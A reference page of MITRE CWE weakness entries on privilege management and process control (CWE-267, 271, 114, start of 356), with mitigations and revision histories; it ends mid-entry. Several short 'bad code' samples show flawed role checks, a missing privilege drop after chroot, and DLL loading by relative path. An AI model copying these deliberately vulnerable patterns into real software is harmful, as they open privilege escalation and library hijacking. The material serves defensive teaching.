This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This concept needs more study.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPrivilege Context Switching Error
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 7, "Running with Least Privilege" Page 207. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated References
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-267: Privilege Defined With Unsafe Actions

Weakness ID: 267
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.623Unsafe ActiveX Control Marked Safe For Scripting
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.
+ Demonstrative Examples

Example 1

This code intends to allow only Administrators to print debug information about a system.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,USER,GUEST
}

public void printDebugInfo(User requestingUser){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

default:
System.out.println(currentDebugState());
break;
}
}
else{
System.out.println("You must be logged in to perform this command");
}
}

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

+ Observed Examples
ReferenceDescription
Roles have access to dangerous procedures (Accessible entities).
Untrusted object/method gets access to clipboard (Accessible entities).
Gain privileges using functions/tags that should be restricted (Accessible entities).
Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities).
Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities).
"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions).
User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).
Allows attachment to and modification of privileged processes (Unsafe privileged actions).
User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions).
Inappropriate actions allowed by a particular role(Unsafe privileged actions).
Untrusted entity allowed to access the system clipboard (Unsafe privileged actions).
Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions).
User with debugging rights can read entire process (Unsafe privileged actions).
Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions).
Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions).
Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions).
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

Note: there are 2 separate sub-categories here:

- privilege incorrectly allows entities to perform certain actions
- object is incorrectly accessible to entities with a given privilege
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnsafe Privilege
+ References
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations, References
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Demonstrative_Examples
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unsafe Privilege

CWE-271: Privilege Dropping / Lowering Errors

Weakness ID: 271
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not drop privileges before passing control of a resource to an actor that does not have those privileges.
+ Extended Description
In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.272Least Privilege Violation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.273Improper Check for Dropped Privileges
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.274Improper Handling of Insufficient Privileges
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.
Access Control
Non-Repudiation

Technical Impact: Gain Privileges or Assume Identity; Hide Activities

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

(bad code)
Example Language:
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

+ Observed Examples
ReferenceDescription
Program does not drop privileges after acquiring the raw socket.
Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error.
Does not drop privileges in related groups when lowering privileges.
Does not drop privileges in related groups when lowering privileges.
Does not drop privileges before determining access to certain files.
Finger daemon does not drop privileges when executing programs on behalf of the user being fingered.
FTP server does not drop privileges if a connection is aborted during file transfer.
Program only uses seteuid to drop privileges.
Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility).
Utility Manager launches winhlp32.exe while running with raised privileges, which allows local users to gain system privileges.
Setuid program does not drop privileges before executing program specified in an environment variable.
Setuid program does not drop privileges before processing file specified on command line.
Service on Windows does not drop privileges before using "view file" option, allowing code execution.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPrivilege Dropping / Lowering Errors
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description, Maintenance_Notes
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-114: Process Control

Weakness ID: 114
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.
+ Extended Description
Process control vulnerabilities take two forms:
  • An attacker can change the command that the program executes: the attacker explicitly controls what the command is.
  • An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.

Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Demonstrative Examples

Example 1

The following code uses System.loadLibrary() to load code from a native library named library.dll, which is normally found in a standard system directory.

(bad code)
Example Language: Java 
...
System.loadLibrary("library.dll");
...

The problem here is that System.loadLibrary() accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of library.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's library.dll will now be run with elevated privileges, possibly giving them complete control of the system.

Example 2

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

(bad code)
Example Language:
...
RegQueryValueEx(hkey, "APPHOME",
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {

strcpy(lib,home);
strcat(lib,INITCMD);
LoadLibrary(lib);
}
...

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 3

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

(bad code)
Example Language:
LoadLibrary("liberty.dll");

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.

Maintenance

This entry seems to have close relationships with CWE-426/CWE-427. It seems more attack-oriented.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsProcess Control
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Description, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2023-01-31CWE Content TeamMITRE
updated Description, Maintenance_Notes, Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-356: Product UI does not Warn User of Unsafe Actions

Weakness ID: 356
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.
+ Extended Description
